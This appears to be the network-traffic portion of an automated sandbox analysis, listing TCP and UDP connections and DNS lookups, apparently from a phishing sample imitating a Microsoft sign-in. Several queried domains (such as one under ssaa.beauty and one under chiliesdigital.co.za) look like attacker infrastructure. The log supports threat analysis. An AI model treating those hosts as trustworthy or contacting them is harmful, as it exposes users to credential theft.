Dec 18, 2024 21:11:34.664222002 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.886709929 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.886960030 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.886991024 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.887474060 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.887672901 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.887690067 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.888730049 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.888835907 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.889298916 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.889367104 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.889512062 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.889524937 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.890770912 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.890826941 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.891128063 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.891261101 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.891267061 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.891691923 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.939241886 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.939472914 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:35.939491987 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:35.986094952 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:36.846550941 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:36.846693993 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:36.846801043 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:36.847841024 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:36.847858906 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:36.851094961 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:36.851116896 CET	443	49851	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:36.851362944 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:36.851667881 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:36.851679087 CET	443	49851	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:36.916309118 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:36.916405916 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:36.916527033 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:36.917244911 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:36.917272091 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:38.079060078 CET	443	49851	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:38.092329979 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.092360973 CET	443	49851	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:38.094017029 CET	443	49851	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:38.094094992 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.100522995 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.100636959 CET	443	49851	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:38.104398966 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.104408026 CET	443	49851	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:38.104552984 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.104568005 CET	49851	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.109281063 CET	49855	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.109359026 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:38.109462976 CET	49855	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.112906933 CET	49855	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:38.112931013 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:39.326000929 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:39.326296091 CET	49855	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:39.326324940 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:39.326654911 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:39.326944113 CET	49855	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:39.327004910 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:39.327075005 CET	49855	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:39.371345043 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:40.304481983 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:40.304584026 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:40.304626942 CET	49855	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:40.306052923 CET	49855	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:40.306066990 CET	443	49855	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:40.307248116 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:40.307280064 CET	443	49861	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:40.307353973 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:40.307632923 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:40.307642937 CET	443	49861	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:41.751419067 CET	443	49861	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:41.752055883 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.752083063 CET	443	49861	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:41.753114939 CET	443	49861	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:41.753171921 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.753885031 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.753901005 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.753936052 CET	443	49861	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:41.753968954 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.754070044 CET	49861	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.754399061 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.754424095 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:41.754504919 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.755039930 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:41.755049944 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:42.967967987 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:42.968216896 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:42.968235970 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:42.969238997 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:42.969357967 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:42.969938040 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:42.970002890 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:42.970240116 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:42.970247984 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:43.017224073 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:43.915901899 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:43.916027069 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:43.916124105 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:43.916932106 CET	49865	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:43.916945934 CET	443	49865	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:46.525269032 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:46.525319099 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:46.525424957 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:46.526067019 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:46.526082993 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:47.563822985 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:47.563852072 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:48.936974049 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:48.937046051 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:48.938729048 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:48.938738108 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:48.939064026 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:48.940898895 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:48.940984011 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:48.940988064 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:48.941109896 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:48.983340025 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:49.482450962 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:49.482547998 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:49.482672930 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:49.482808113 CET	49878	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:49.482825994 CET	443	49878	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:51.829446077 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:51.948935986 CET	8443	49740	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:52.533145905 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:52.653245926 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:12:02.778630972 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:12:02.778832912 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:12:02.778917074 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:12:02.971703053 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:12:02.971771955 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:12:02.971802950 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:12:02.971837997 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:12:03.846656084 CET	49920	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:12:03.846707106 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:03.846779108 CET	49920	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:12:03.847028971 CET	49920	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:12:03.847038031 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:05.671119928 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:05.671575069 CET	49920	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:12:05.671586037 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:05.671931982 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:05.672497034 CET	49920	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:12:05.672584057 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:05.720057011 CET	49920	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:12:06.971828938 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:12:07.091989040 CET	8443	49740	172.67.150.25	192.168.2.6
Dec 18, 2024 21:12:07.092092037 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:12:15.381736040 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:15.381808996 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:15.382093906 CET	49920	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:12:16.975445032 CET	49920	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:12:16.975481987 CET	443	49920	142.250.181.132	192.168.2.6
Dec 18, 2024 21:12:21.356257915 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:21.356302023 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:21.356415033 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:21.357002974 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:21.357014894 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:23.570005894 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:23.570101976 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:23.572654963 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:23.572663069 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:23.572943926 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:23.575719118 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:23.576081038 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:23.576087952 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:23.576224089 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:23.619333982 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:24.313977957 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:24.314057112 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:24.314301968 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:24.316263914 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:24.316263914 CET	49961	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:12:24.316282034 CET	443	49961	20.198.119.84	192.168.2.6
Dec 18, 2024 21:12:37.657638073 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:12:37.777180910 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:13:00.120369911 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:00.120410919 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:00.120621920 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:00.121423006 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:00.121432066 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:02.341545105 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:02.341614962 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:02.343432903 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:02.343444109 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:02.343725920 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:02.345648050 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:02.345716953 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:02.345724106 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:02.345874071 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:02.387336016 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:03.008846045 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:03.008959055 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:03.009026051 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:03.009180069 CET	50049	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:13:03.009197950 CET	443	50049	20.198.119.84	192.168.2.6
Dec 18, 2024 21:13:03.909373999 CET	50053	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:13:03.909415960 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:03.909648895 CET	50053	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:13:03.909841061 CET	50053	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:13:03.909857988 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:05.609539032 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:05.609833956 CET	50053	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:13:05.609857082 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:05.610189915 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:05.610524893 CET	50053	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:13:05.610589027 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:05.657661915 CET	50053	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:13:15.301587105 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:15.301646948 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:15.301770926 CET	50053	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:13:16.972342014 CET	50053	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:13:16.972384930 CET	443	50053	142.250.181.132	192.168.2.6
Dec 18, 2024 21:13:22.782721996 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:13:22.902915001 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:14:07.907756090 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:14:08.027558088 CET	8443	49739	172.67.150.25	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 21:11:00.103750944 CET	60920	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:00.103924990 CET	49288	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:00.225742102 CET	53	56610	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:00.239387035 CET	53	58707	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:00.241313934 CET	53	60920	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:00.242227077 CET	53	49288	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:02.329236984 CET	52796	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:02.329389095 CET	62037	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:02.466190100 CET	53	52796	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:02.466607094 CET	53	62037	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:03.097196102 CET	53	60910	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:03.784821987 CET	62068	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:03.785047054 CET	57895	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:03.921803951 CET	53	57895	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:03.924123049 CET	53	62068	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:04.596204042 CET	53	53864	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:04.775703907 CET	52129	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:04.776137114 CET	56535	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:05.179372072 CET	53	56535	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:05.179729939 CET	53	52129	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:07.154772043 CET	54919	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:07.155081987 CET	63141	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:07.155638933 CET	50341	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:07.156172991 CET	54423	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:07.292228937 CET	53	50341	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:07.292891979 CET	53	54423	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:07.527384996 CET	53	54919	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:07.527503967 CET	53	63141	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:07.537822962 CET	63784	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:07.538178921 CET	57024	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:07.538912058 CET	56895	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:07.539444923 CET	65189	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:07.677587986 CET	53	63784	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:07.678662062 CET	53	57024	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:08.005544901 CET	53	65189	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:08.006087065 CET	53	56895	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:09.996037960 CET	49637	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:09.996412039 CET	51263	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:10.133214951 CET	53	49637	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:10.134176016 CET	53	51263	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:10.243705988 CET	53	54620	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:20.203342915 CET	53	53302	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:24.631776094 CET	59279	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:24.632251978 CET	50528	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:25.266449928 CET	53	59279	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:25.266485929 CET	53	50528	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:28.722739935 CET	50183	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:28.723192930 CET	54087	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:28.861614943 CET	53	50183	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:28.861848116 CET	53	54087	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:29.597393990 CET	54132	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:29.597775936 CET	55211	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:11:30.165144920 CET	53	54132	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:30.165330887 CET	53	55211	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:39.046982050 CET	53	51771	1.1.1.1	192.168.2.6
Dec 18, 2024 21:11:59.636033058 CET	53	59621	1.1.1.1	192.168.2.6
Dec 18, 2024 21:12:01.578011990 CET	53	53409	1.1.1.1	192.168.2.6
Dec 18, 2024 21:12:32.109719992 CET	53	50883	1.1.1.1	192.168.2.6
Dec 18, 2024 21:13:18.890367985 CET	53	65105	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 21:11:00.103750944 CET	192.168.2.6	1.1.1.1	0xffba	Standard query (0)	static.wikia.nocookie.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:00.103924990 CET	192.168.2.6	1.1.1.1	0x353	Standard query (0)	static.wikia.nocookie.net	65	IN (0x0001)	false
Dec 18, 2024 21:11:02.329236984 CET	192.168.2.6	1.1.1.1	0xf734	Standard query (0)	static.wikia.nocookie.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:02.329389095 CET	192.168.2.6	1.1.1.1	0x8e9d	Standard query (0)	static.wikia.nocookie.net	65	IN (0x0001)	false
Dec 18, 2024 21:11:03.784821987 CET	192.168.2.6	1.1.1.1	0x5568	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:03.785047054 CET	192.168.2.6	1.1.1.1	0x11de	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 18, 2024 21:11:04.775703907 CET	192.168.2.6	1.1.1.1	0x375	Standard query (0)	5bsrfkftdtnvful9nm.ssaa.beauty	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:04.776137114 CET	192.168.2.6	1.1.1.1	0x9255	Standard query (0)	_8443._https.5bsrfkftdtnvful9nm.ssaa.beauty	65	IN (0x0001)	false
Dec 18, 2024 21:11:07.154772043 CET	192.168.2.6	1.1.1.1	0x1898	Standard query (0)	www.w3schools.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.155081987 CET	192.168.2.6	1.1.1.1	0x74a	Standard query (0)	www.w3schools.com	65	IN (0x0001)	false
Dec 18, 2024 21:11:07.155638933 CET	192.168.2.6	1.1.1.1	0xe77c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.156172991 CET	192.168.2.6	1.1.1.1	0x2d04	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 18, 2024 21:11:07.537822962 CET	192.168.2.6	1.1.1.1	0x9f5f	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.538178921 CET	192.168.2.6	1.1.1.1	0x9d35	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 18, 2024 21:11:07.538912058 CET	192.168.2.6	1.1.1.1	0xb143	Standard query (0)	kasumbo.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:07.539444923 CET	192.168.2.6	1.1.1.1	0x3bbb	Standard query (0)	kasumbo.com	65	IN (0x0001)	false
Dec 18, 2024 21:11:09.996037960 CET	192.168.2.6	1.1.1.1	0xaf5a	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:09.996412039 CET	192.168.2.6	1.1.1.1	0x9453	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 18, 2024 21:11:24.631776094 CET	192.168.2.6	1.1.1.1	0x3951	Standard query (0)	ajx6f16w140.chiliesdigital.co.za	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:24.632251978 CET	192.168.2.6	1.1.1.1	0xf005	Standard query (0)	ajx6f16w140.chiliesdigital.co.za	65	IN (0x0001)	false
Dec 18, 2024 21:11:28.722739935 CET	192.168.2.6	1.1.1.1	0x7173	Standard query (0)	ajx6f16w140.chiliesdigital.co.za	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:28.723192930 CET	192.168.2.6	1.1.1.1	0xaaea	Standard query (0)	ajx6f16w140.chiliesdigital.co.za	65	IN (0x0001)	false
Dec 18, 2024 21:11:29.597393990 CET	192.168.2.6	1.1.1.1	0xbed0	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:29.597775936 CET	192.168.2.6	1.1.1.1	0x4e6d	Standard query (0)	outlook.office365.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 21:10:50.803231001 CET	1.1.1.1	192.168.2.6	0xcfb5	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:10:50.803231001 CET	1.1.1.1	192.168.2.6	0xcfb5	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:00.241313934 CET	1.1.1.1	192.168.2.6	0xffba	No error (0)	static.wikia.nocookie.net	wikia.nocookie.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 21:11:00.241313934 CET	1.1.1.1	192.168.2.6	0xffba	No error (0)	wikia.nocookie.net		74.120.190.204	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:00.241313934 CET	1.1.1.1	192.168.2.6	0xffba	No error (0)	wikia.nocookie.net		74.120.190.194	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:11:00.242227077 CET	1.1.1.1	192.168.2.6	0x353	No error (0)	static.wikia.nocookie.net	wikia.nocookie.net		CNAME (Canonical name)	IN (0x0001)	false
